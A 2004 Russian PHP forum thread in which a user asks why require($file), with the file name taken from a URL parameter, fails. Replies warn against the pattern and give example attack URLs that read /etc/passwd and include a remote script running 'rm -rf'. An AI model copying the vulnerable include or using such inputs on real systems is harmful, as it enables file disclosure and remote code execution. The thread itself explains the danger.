Переменная в require()

vanya

Guest
Переменная в require()

Скажите, плиз, че я тут делаю не так?
PHP:
// Файл_1
<a href="index.php?file=form.inc">

// Файл index.php
<?
require($file);
?>
Выдает след. ошибку:

Fatal error: MyFunction(): Failed opening required '' (include_path='.:/usr/lib/php') in /.../index.php on line 139

-~{}~ 09.06.04 15:55:

строка 139 это:
PHP:
<? require ($file); ?>
 

Demiurg

Guest
никогда так не делай.
почему нельзя давать прямые ссулки на файлы ?
 

vanya

Guest
у меня в php.ini
register_globals=on

и я уже передаю переменные, только целые, таким образом на других страничках. а вот со строковой чето не хочет:(

-~{}~ 09.06.04 16:07:

почему нельзя давать прямые ссулки на файлы ?
потому что у меня в середину одного файла грузятся разные другие файлы.

никогда так не делай.
а почему никода так не делать?

-~{}~ 09.06.04 16:08:

чем это опасно?

-~{}~ 09.06.04 16:17:

Почитал ссылочку.
Но я этим пользуюсь в скрипте администрирования и к юзерам этого не имеет никакого отношения. А скрипт естественно лежит в защищенной папке и используются сессии.
Мне кажется, что здесь мне это (http://phpfaq.ru/globals) не страшно.

А вот почему все таки не работает?
 

tony2001

TeaM PHPClub
>а почему никода так не делать?
>чем это опасно?
index.php?file=index.php
index.php?file=/etc/passwd
index.php?file=http://host.com/скрипт_который_делает_rm -rf/.txt
 

vanya

Guest
эх. ну ладно.
а если я буду передавать целое число, а в index.php в зависимоти от того какое число грузить соответствующий файл, это нормально?
 

tony2001

TeaM PHPClub
vanya
почему бы не сделать все наоборот?
есть некие настройки, которые лежит отдельно и грузятся в каждом скрипте.
а каждый скрипт - отдельный файл, с отдельной логикой.
зачем все через index.php пускать?
в чем смысл?
 

vanya

Guest
Да, все вы правильно говорите.
Прогнал я, наверное. даже не наверное, а точно:))
 
Сверху